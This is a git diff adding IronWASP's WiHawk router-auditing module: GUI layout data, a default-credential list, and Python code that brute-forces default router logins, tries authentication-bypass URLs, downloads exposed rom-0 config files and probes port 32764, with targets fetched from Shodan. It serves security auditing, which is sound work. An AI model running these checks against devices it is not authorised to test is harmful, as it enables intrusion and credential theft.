AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + self.stopper() + + + + mod_tab_control_1 + + + 884 + 562 + + + 0 + 0 + + + True + False + True + False + + Fill + True + -986896 + -16777216 + + + tab_page_1 + + Scan Single IP + + + + mod_split_container_1 + + + 876 + 536 + + + 0 + 0 + + + True + False + True + False + + Fill + True + -986896 + -16777216 + Panel1 + True + Horizontal + 50 + + + + + save_report_1 + + + 96 + 23 + + + 780 + 24 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2F2ZSBSZXBvcnQ= + + + + + + + + mod_label_1 + + + 216 + 23 + + + 14 + 15 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + RW50ZXIgSVAgYWRkcmVzcyB0byBTY2FuIChFZzogMTkyLjE2OC4xLjEpOg== + + + + + + start_btn1 + + + 95 + 23 + + + 471 + 12 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U3RhcnQgU2Nhbg== + + + self.start_thread1() + + + + input_single_ip_tb + + + 193 + 20 + + + 248 + 12 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + + + + + + + + + + + + + + popup_ok_btn1 + + + 75 + 23 + + + 401 + 214 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + T0s= + + + + + + + + report_popup_lb1 + + + 481 + 105 + + + 217 + 145 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + + + + + + + + output_tb1 + + + 876 + 482 + + + 0 + 0 + + + True + False + True + False + + Fill + True + -16777216 + -16728064 + None + True + Both + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + True + + + True + e1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcZGVmZjBcZGVmbGFuZzEwMzN7XGZvbnR0Ymx7XGYwXGZuaWxcZmNoYXJzZXQwIE1pY3Jvc29mdCBTYW5zIFNlcmlmO319DQp7XGNvbG9ydGJsIDtccmVkMFxncmVlbjE5MlxibHVlMDt9DQpcdmlld2tpbmQ0XHVjMVxwYXJkXGNmMVxmMFxmczE3XHBhcg0KfQ0K + + + + + + + + + + + + + + + tab_page_2 + + Scan Range of IPs + + + + mod_split_container_2 + + + 876 + 536 + + + 0 + 0 + + + True + False + True + False + + Fill + True + -986896 + -16777216 + Panel1 + True + Horizontal + 50 + + + + + save_report_2 + + + 96 + 23 + + + 780 + 24 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2F2ZSBSZXBvcnQ= + + + + + + + + input_rangeip_tb + + + 239 + 20 + + + 283 + 15 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + + + + + + + + + + start_btn2 + + + 96 + 23 + + + 542 + 13 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U3RhcnQgU2Nhbg== + + + self.start_thread2() + + + + mod_label_2 + + + 386 + 23 + + + 3 + 17 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + RW50ZXIgSVAgcmFuZ2VFZzogMTkyLjE2OC4xLjEtMTUgb3IgMTkyLjE2OC4xLjAvMjQpOg== + + + + + + + + + + popup_ok_btn2 + + + 75 + 23 + + + 401 + 214 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + T0s= + + + + + + + + report_popup_lb2 + + + 481 + 105 + + + 212 + 145 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + + + + + + + + output_tb2 + + + 876 + 482 + + + 0 + 0 + + + True + False + True + False + + Fill + True + -16777216 + -16728064 + None + True + Both + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + True + + + True + e1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcZGVmZjBcZGVmbGFuZzEwMzN7XGZvbnR0Ymx7XGYwXGZuaWxcZmNoYXJzZXQwIE1pY3Jvc29mdCBTYW5zIFNlcmlmO319DQp7XGNvbG9ydGJsIDtccmVkMFxncmVlbjE5MlxibHVlMDt9DQpcdmlld2tpbmQ0XHVjMVxwYXJkXGNmMVxmMFxmczE3XHBhcg0KfQ0K + + + + + + + + + + + + + + + tab_page_3 + + Scan Using Shodan + + + + mod_split_container_3 + + + 876 + 536 + + + 0 + 0 + + + True + False + True + False + + Fill + True + 16777215 + -16777216 + Panel1 + True + Horizontal + 160 + + + + + save_report_3 + + + 98 + 23 + + + 778 + 135 + + + True + False + True + False + + None + True + 16777215 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2F2ZSBSZXBvcnQ= + + + + + + + + error_lb1 + + + 474 + 23 + + + 32 + 130 + + + True + False + True + False + + None + True + 16777215 + -65536 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + + + + + + + + start_btn3 + + + 105 + 23 + + + 522 + 48 + + + True + False + True + False + + None + True + 16777215 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U3RhcnQgU2Nhbg== + + + self.start_thread3() + + + + input_geo_tb + + + 258 + 20 + + + 248 + 105 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + + + + + + + + + + mod_label_3 + + + 115 + 23 + + + 127 + 107 + + + True + False + True + False + + None + True + 16777215 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + RW50ZXIgR2VvIExvY2F0aW9uOg== + + + + + + mod_label_4 + + + 115 + 23 + + + 127 + 80 + + + True + False + True + False + + None + True + 16777215 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + RW50ZXIgQ291bnRyeSBOYW1lOg== + + + + + + input_country_tb + + + 258 + 20 + + + 248 + 77 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + + + + + + + + + + input_city_tb + + + 258 + 20 + + + 248 + 50 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + + + + + + + + + + mod_label_5 + + + 89 + 23 + + + 126 + 50 + + + True + False + True + False + + None + True + 16777215 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + RW50ZXIgQ2l0eSBOYW1lOg== + + + + + + geoloc_rb + + + 104 + 24 + + + 28 + 101 + + + True + False + True + False + + None + True + 16777215 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + R2VvIExvY2F0aW9u + False + + + + + + + + country_rb + + + 104 + 24 + + + 28 + 75 + + + True + False + True + False + + None + True + 16777215 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + Q291bnRyeQ== + False + + + + + + + + City_rb + + + 104 + 24 + + + 28 + 44 + + + True + False + True + False + + None + True + 16777215 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + Q2l0eQ== + False + + + + + + + + mod_label_6 + + + 100 + 23 + + + 512 + 17 + + + True + False + True + False + + None + True + 16777215 + -65536 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + KiBNYW5kYXRvcnkgZmllbGQ= + + + + + + shodanAPI_key_tb + + + 335 + 20 + + + 171 + 14 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + + + + + + + + + + mod_label_7 + + + 146 + 23 + + + 19 + 17 + + + True + False + True + False + + None + True + 16777215 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + RW50ZXIgeW91ciBTaG9kYW4gQVBJIEtleTog + + + + + + + + + + popup_ok_btn3 + + + 75 + 23 + + + 402 + 214 + + + True + False + True + False + + None + True + 16777215 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + T0s= + + + + + + + + report_popup_lb3 + + + 481 + 105 + + + 210 + 141 + + + True + False + True + False + + None + True + 16777215 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + + + + + + + + output_tb3 + + + 876 + 372 + + + 0 + 0 + + + True + False + True + False + + Fill + True + -16777216 + -16728064 + None + True + Both + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + True + + + True + e1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcZGVmZjBcZGVmbGFuZzEwMzN7XGZvbnR0Ymx7XGYwXGZuaWxcZmNoYXJzZXQwIE1pY3Jvc29mdCBTYW5zIFNlcmlmO319DQp7XGNvbG9ydGJsIDtccmVkMFxncmVlbjE5MlxibHVlMDt9DQpcdmlld2tpbmQ0XHVjMVxwYXJkXGNmMVxmMFxmczE3XHBhcg0KfQ0K + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Wi-Hawk_username_pwd.txt b/Iron/bin/Debug/modules/WiHawk/Wi-Hawk_username_pwd.txt new file mode 100644 index 0000000..b905f5c --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Wi-Hawk_username_pwd.txt @@ -0,0 +1,8 @@ +CISCO15:otbu+1 +1.79:Multi +anything:blank +3comcso:RIP000 +operator:operator +user:user +blank:SpeedStream +stratacom:stratauser diff --git a/Iron/bin/Debug/modules/WiHawk/WiHawk.py b/Iron/bin/Debug/modules/WiHawk/WiHawk.py new file mode 100644 index 0000000..04f4751 --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/WiHawk.py @@ -0,0 +1,1050 @@ +from IronWASP import * +import System +import re +import time +import sys + +class WiHawk(Module): + weak_ip_list = [] + secure_ip_list = [] + username_list = [] + password_list = [] + non_basic_authIP = [] + bypass_authIP = [] #maintains a list of all IPs which is vulnerable to bypass authentication + bypassIP_list = [] #maintains a list of bypass Strings + passIP = [] + +#Dictionary to maintain CVEID/BugID/EDBID(Expolit DB) for each bypass string + bypassVul_ID = {'/x.cfg':'CVE-2008-6916','/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0':'EDB ID-15753','/html/stattbl.htm':'CVE-2009-2257' , + '/html/modemmenu.htm':'CVE-2009-2257' ,'/BRS_03B_haveBackupFile_fileRestore.html':'CVE-2013-3071' , + '/hag/pages/toc.htm':'CVE-2013-5622' , '/hag/pages/toolbox.htm':'CVE-2013-5622' , '/html/config':'Bugtraq ID-64629', + '/gateway/commands/saveconfig.html':' CVE-2009-2257' , '/indextop.htm':'CVE-2009-2257' ,'/onload.htm':'CVE-2009-2257', + '/cgi/b/_wli_/cfg//?ce=1&be=1&l0=4&l1=0':'Bugtraq ID-25972' ,'/cgi/b/_wli_/seccfg/?ce=1&be=1&l0=4&l1=0':'Bugtraq ID-25972' , + '/tools_firmw.htm':'OSVDB ID-66164' , '/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0':'EDB-ID-15753', + '/bsc_adv_port.php?NO_NEED_AUTH=1&AUTH_GROUP=0':'EDB-ID-15753'} + + def GetInstance(self): + m = WiHawk() + m.Name = "WiHawk" + return m + + def StartModule(self,weak_ip_list=weak_ip_list,secure_ip_list=secure_ip_list,username_list=username_list,password_list=password_list,non_basic_authIP=non_basic_authIP , bypass_authIP=bypass_authIP , bypassIP_list=bypassIP_list , bypassVul_ID=bypassVul_ID): + self.startUi() + + def initiateVar(self): + weak_ip_list = [] + secure_ip_list = [] + username_list = [] + password_list = [] + non_basic_authIP = [] + bypass_authIP = [] #maintains a list of all IPs which is vulnerable to bypass authentication + bypassIP_list = [] + + def final_list_ip(self, callingfunc, weak_ip_list=weak_ip_list, username_list=username_list, password_list=password_list, secure_ip_list=secure_ip_list, bypass_authIP=bypass_authIP, bypassIP_list=bypassIP_list, bypassVul_ID=bypassVul_ID): + if len(weak_ip_list) == 0: #To check if no IP is Configured with default credentials + self.printstmt('',callingfunc) + self.printstmt('$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$', callingfunc) + self.printstmt('',callingfunc) + else: + if len(username_list) > 0: + self.printstmt('$$$$$$$$$$$$ Devices with default login credentials $$$$$$$$$$$$ ', callingfunc) + for i,j,k in zip(weak_ip_list, username_list, password_list): + self.printstmt(' ' + i + ' - User Name ='+ j+ ' Password ='+k, callingfunc) + #To Print all the IPs with HTTP basic authentication + self.printstmt('',callingfunc) + if len(secure_ip_list) == 0: + self.printstmt('$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$',callingfunc) + + else: + self.printstmt('$$$$$$$$$$$$$ Devices with HTTP basic authentication $$$$$$$$$$$$$$ ',callingfunc) + + for i in secure_ip_list: + self.printstmt(' ' +i, callingfunc) + self.printstmt('',callingfunc) + #To Print bypass Vulnerability + if len(bypass_authIP) == 0: + self.printstmt('$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ ', callingfunc) + else: + self.printstmt('$$$$$$$$$$$$ Devices with bypass authenication vulnerbility $$$$$$$$$$$$$ ', callingfunc) + self.printstmt('',callingfunc) + for l,m in zip(bypass_authIP , bypassIP_list): + self.printstmt('' +l+ ' is vulnerable to bypass String : '+ m + ' with '+bypassVul_ID[m], callingfunc) + +#This function validates the Given IP Format. + def preprocess_ip(self,check_valid_ip, callingfunc): + valid_ip = list() + valid_IPv4 = Tools.IsValidIpv4(check_valid_ip) + valid_IPv6 = Tools.IsValidIpv6(check_valid_ip) + if valid_IPv4 == True or valid_IPv6==True: + valid_ip = check_valid_ip + else: + valid_ip = Tools.NwToIp(check_valid_ip) + return valid_ip + + def singleIP_interface(self, input_ip): #TO print Single IPS + self.initiateVar() + self.audit_single_ip(input_ip, 1) + self.final_list_ip(1) + self.ui.ModControls['start_btn1'].SetText("Start Scan") + + def RangeIP_interface(self, input_ip): + self.initiateVar() + self.audit_ip_range(input_ip, 2) + self.final_list_ip(2) + self.ui.ModControls['start_btn2'].SetText("Start Scan") + + def shodan_interface(self, options): + self.initiateVar() + self.audit_shodan_api(options["api_key"], options["filter"], 3) + self.ui.ModControls['start_btn3'].SetText("Start Scan") + +#Scans single IP + def audit_single_ip(self, input_ip, callingfunc): + value_ip=self.preprocess_ip(input_ip, callingfunc) + self.crack_ip(value_ip, callingfunc) + +#Scans range of a network + def audit_ip_range(self, input_ip, callingfunc): + valid_ip = self.preprocess_ip(input_ip, callingfunc) + self.scan_multiple_ip_format(valid_ip, callingfunc) + +#Scans Shodan APi call + def audit_shodan_api(self, shodan_key, filter_value, callingfunc): + try: + self.printstmt('Making SHODAN API call to get target details....', callingfunc) + shodan_req = Request("http://www.shodanhq.com/api/search?q=&key=") + shodan_req.Query.Set("q", 'WWW-AUTHENTICATE ' +filter_value) + shodan_req.Query.Set("key", shodan_key) + shodan_req.SetSource("WiHawk") + shodan_res = shodan_req.Send() + #Check if provided API key is Valid. + if shodan_res.Code == 200 and shodan_res.IsJson: + self.printstmt('Extracting target details from the response', callingfunc) + #Here Shodan response' is the response that came back from the API call + json = shodan_res.BodyString + fp = FormatPlugin.Get('JSON') + xml = fp.ToXmlFromResponse(shodan_res) + name_values = FormatPlugin.XmlToArray(xml) + value_ip = [] + self.printstmt('SHODAN returned {0} taregts matching your query.'.format(len(name_values)/2), callingfunc) + for i in range(len(name_values)/2): + if name_values[i,0] == 'xml > matches > ip': + value_ip.append(Tools.Base64Decode(name_values[i,1])) + self.scan_multiple_ip_format(value_ip, callingfunc) + self.final_list_ip(3) + else: + self.ui.ModControls["result_lb3"].SetVisible(True) + self.ui.ModControls["output_tb3"].SetVisible(True) + self.ui.ModControls['output_tb3'].AddText("SHODAN API Call returned an Invalid Response. Please make sure the API key and entered data are valid!!!") + self.ui.ModControls['start_btn3'].SetText("Start Scan") + except Exception as exp: + self.printstmt('Exception: ' +str(exp), callingfunc) + +#Scans IP to crack for its username & pwd + def scan_multiple_ip_format(self, format_ip, callingfunc): + if not format_ip: + self.printstmt('Error: Invalid search query, please check the query syntax.', callingfunc) + exit + else : + for valid in format_ip: + self.crack_ip(valid, callingfunc) + +#To form the request o be sent to router + def crack_ip(self,ip, callingfunc, weak_ip_list=weak_ip_list,secure_ip_list=secure_ip_list,username_list=username_list,password_list=password_list,non_basic_authIP=non_basic_authIP): + if not self.is_ip_reachable(ip): + self.printstmt(" {0} is not reachable".format(ip), callingfunc) + return + try: + isSecure = False + isbyPassSecure = False + base_req = Request("http://" +ip.strip()) + base_req.SetSource("WiHawk") + base_res=base_req.Send() #current value of the response + + if base_res.Headers.Has("WWW-Authenticate"): + if base_res.Code == 200: + self.printstmt('Response code is already 200', callingfunc) + exit + elif base_res.Code == 401 : + #Checking rom 0 vulnerability + self.rom0_vulnerable(ip, callingfunc) + #Checking backdoor 32764 vulnerability + self.backdoor_port32764(ip,callingfunc) + isbyPassSecure = self.by_passAuthIP_check(ip, callingfunc) + isSecure = self.crack_default_pasword(ip, callingfunc) + + if isSecure: + self.printstmt('', callingfunc) + self.printstmt('The IP ' + ip +' is not set with default username-password',callingfunc) + secure_ip_list.append(ip) + else: + weak_ip_list.append(ip) + else : + non_basic_authIP.append(ip) + except Exception as exp: + self.printstmt('Exception :'+ str(exp), callingfunc) + + def is_ip_reachable(self,ip): + try: + ip_part = ip + port_part = "80" + timeout = 1000 + if ip.count(":") > 0: + ip_part = ip.split(":")[0] + port_part = ip.split(":")[1] + if ip_part.startswith("10.") or ip_part.startswith("192.168."): + timeout = 300 + elif ip_part.startswith("172."): + second_octect = int(ip_parts.split(".")[1]) + if second_octect > 16 and second_octect < 32: + timeout = 300 + ps = PortScanner(ip_part, port_part, timeout) + if len(ps.Scan()) > 0: + return True + else: + return False + except Exception as exp: + return False + + +#This will identify if Router is configured with Default Username & Password. + def crack_default_pasword(self, crack_passIP, callingfunc, username_list=username_list, password_list=password_list): + default_config = False + self.printstmt('***********************************************************************************************', callingfunc) + self.printstmt(' Auditing %s for weak Username & Password based Authentication' %crack_passIP, callingfunc) + self.printstmt('***********************************************************************************************', callingfunc) + passAudit_req = Request("http://" +crack_passIP.strip()) + passAudit_req.SetSource("WiHawk") + passAudit_res=passAudit_req.Send() + + passAudit_response_header = passAudit_res.Headers.Get("WWW-Authenticate")# to get the value of the Header + if "Basic" in passAudit_response_header: #Check the response Header + list=[line.strip() for line in open("modules/WiHawk/Wi-Hawk_username_pwd.txt",'r')] #Reading the file line by line, strip is ignoring all whitespaces ans tab + for data in list: + enc_value = Tools.Base64Encode(data) #Encoding the data in Base64 + header_value = 'Basic ' + enc_value + passAudit_req.Headers.Set("Authorization",header_value) #Setting the request + passAudit_req.SetSource("WiHawk") + res=passAudit_req.Send() + if res.Code == 200: + username = data.split(':')[0] + password = data.split(':')[1] + username_list.append(username) + password_list.append(password) + self.printstmt(' Username is :' +username, callingfunc) + self.printstmt(' Password is :' +password, callingfunc) + default_config = True #set Flag value + break + return not(default_config) + + #This will check all possible By Pass Authentication vulnerbility + def by_passAuthIP_check(self ,passIP,callingfunc, bypass_authIP=bypass_authIP , bypassIP_list=bypassIP_list, bypassVul_ID=bypassVul_ID): + self.printstmt('######################################################', callingfunc) + self.printstmt(' Checking %s for Authentication ByPass Vulnerability' %passIP, callingfunc ) + self.printstmt('######################################################', callingfunc) + isVulnerable = False + byPassIP = '' + for append_ByPassStr in bypassVul_ID: + byPassIP = passIP + append_ByPassStr + ByPass_req = Request("http://" +byPassIP.strip()) + ByPass_req.SetSource("WiHawk") + ByPass_res = ByPass_req.Send() #Pass by authentication request + if ByPass_res.Code == 200: + isVulnerable = True + bypassIP_list.append(append_ByPassStr) + break + if isVulnerable: + self.bypass_authIP.append(passIP) + self.printstmt(' Router has a Authentication bypass vulnerability..!!!!!', callingfunc) + self.printstmt(' bypass string is : ' + append_ByPassStr, callingfunc) + else : + self.printstmt('No authentication bypas vulnerability could be discovered on this device.', callingfunc) + self.printstmt('',callingfunc) + return isVulnerable + +#This is Identify if Router is Vulnerable to ROM-0 Vulnerability + def rom0_vulnerable(self, rom0_IP, callingfunc): + self.printstmt('***********************************************************************************************', callingfunc) + self.printstmt(' Auditing %s to find if Router is Vulnerable to rom-o' %rom0_IP, callingfunc) + self.printstmt('***********************************************************************************************', callingfunc) + crack_romIP = rom0_IP+'/rom-0' + passAudit_req = Request("http://" +crack_romIP.strip()) + passAudit_req.SetSource("WiHawk") + passAudit_res=passAudit_req.Send() + if passAudit_res.Code == 200: + #with open(Config.Path + "\\WiHawk\\ROM-0" + str(System.DateTime.Now.Ticks.ToString()).replace(' ','_').replace('/','-').replace(':','_') + '.txt','w') as report + passAudit_res.SaveBody(("modules\\WiHawk\\ROM-0\\rom-0" + str(System.DateTime.Now.Ticks.ToString())).replace(' ','_').replace('/','-').replace(':','_')) + self.printstmt('^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^', callingfunc) + self.printstmt(' Router is Vulnerable to ROM-0 with ip: '+ rom0_IP, callingfunc) + self.printstmt(' rom-0 file is saved to IronWASP\\modules\\WiHawk\\ROM-0 path', callingfunc) + self.printstmt('vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv', callingfunc) + else : + self.printstmt('^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^', callingfunc) + self.printstmt(' Router is not Vulnerable to ROM-0 with ip: '+rom0_IP, callingfunc) + self.printstmt('vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv', callingfunc) + self.printstmt('', callingfunc) + +#This is Identify if Router is Vulnerable to Backdoor 32764 Vulnerability + def backdoor_port32764(self ,backdoor_IP,callingfunc): + self.printstmt('######################################################', callingfunc) + self.printstmt(' Checking %s for Backdoor 32764 Vulnerability' %backdoor_IP, callingfunc ) + self.printstmt('######################################################', callingfunc) + isVulnerable = False + #self.printstmt(str(PortScanner(backdoor_IP, '32764').Scan()), callingfunc) + if len(PortScanner(backdoor_IP, '32764').Scan()) > 0: + #if port is open then create a TCP socket to it and write some junk data + #self.printstmt('nhi lagi 1', callingfunc) + tcp = TcpSocket(backdoor_IP, 32764) + tcp.Write("xxxxxxxx") + #self.printstmt('nahi lagi 2', callingfunc) + #Wait for 1 second to give time for the target to respond back + IronThread.Sleep(1000) + #read the data sent by the target as a string + data = tcp.ReadString() + #self.printstmt('lagi kya.?', callingfunc) + tcp.Close() + #if the data sent by the target starts with MMcS or ScMM then the backdoor is listening on this port + if data.startswith("MMcS") or data.startswith("ScMM"): + self.printstmt(' Backdoor 32764 detected on Router!', callingfunc) + self.printstmt(' Vulnerable IP is : ' + backdoor_IP, callingfunc) + else: + self.printstmt(' Backdoor not detected on Router!', callingfunc) + + else: + self.printstmt('Port 32764 is not open on ' + backdoor_IP, callingfunc ) + self.printstmt(' ', callingfunc) +#To save scan reports of single IP + def Save_Report_Handler_1(self): + with open("modules\\WiHawk\\Reports\\singleIP#" + str(System.DateTime.Now).replace(' ','_').replace('/','-').replace(':','_') + '.txt','w') as report : + report.write(self.ui.ModControls['output_tb1'].Text) + self.ui.ModControls['report_popup_lb1'].Visible = True + self.ui.ModControls['popup_ok_btn1'].Visible = True + self.ui.ModControls['report_popup_lb1'].Text ='\n' + "Report Saved To IronWASP\\modules\\WiHawk\\Reports\\" + str(System.DateTime.Now).replace(' ','_').replace('/','-').replace(':','_') + '.txt' + +#To save scan reports of Range of IP + def Save_Report_Handler_2(self): + with open("modules\\WiHawk\\Reports\\IPrange#" + str(System.DateTime.Now).replace(' ','_').replace('/','-').replace(':','_') + '.txt','w') as report : + report.write(self.ui.ModControls['output_tb2'].Text) + self.ui.ModControls['report_popup_lb2'].Visible = True + self.ui.ModControls['popup_ok_btn2'].Visible = True + self.ui.ModControls['report_popup_lb2'].Text ='\n' + "Report Saved To IronWASP\\modules\\WiHawk\\Reports\\" + str(System.DateTime.Now).replace(' ','_').replace('/','-').replace(':','_') + '.txt' + +#To save scan reports of Shodan API + def Save_Report_Handler_3(self): + with open("modules\\WiHawk\\Reports\\shodan#" + str(System.DateTime.Now).replace(' ','_').replace('/','-').replace(':','_') + '.txt','w') as report : + report.write(self.ui.ModControls['output_tb3'].Text) + self.ui.ModControls['report_popup_lb3'].Visible = True + self.ui.ModControls['popup_ok_btn3'].Visible = True + + self.ui.ModControls['report_popup_lb3'].Text ='\n'+"Report Saved To IronWASP\\modules\\WiHawk\\Reports\\" + str(System.DateTime.Now).replace(' ','_').replace('/','-').replace(':','_') + '.txt' + + +#This will align all print statements based on user's choice + def printstmt(self, stmt, callingfunc ): + if callingfunc == 1: + #string1 = self.ui.ModControls['output_tb1'].Text + 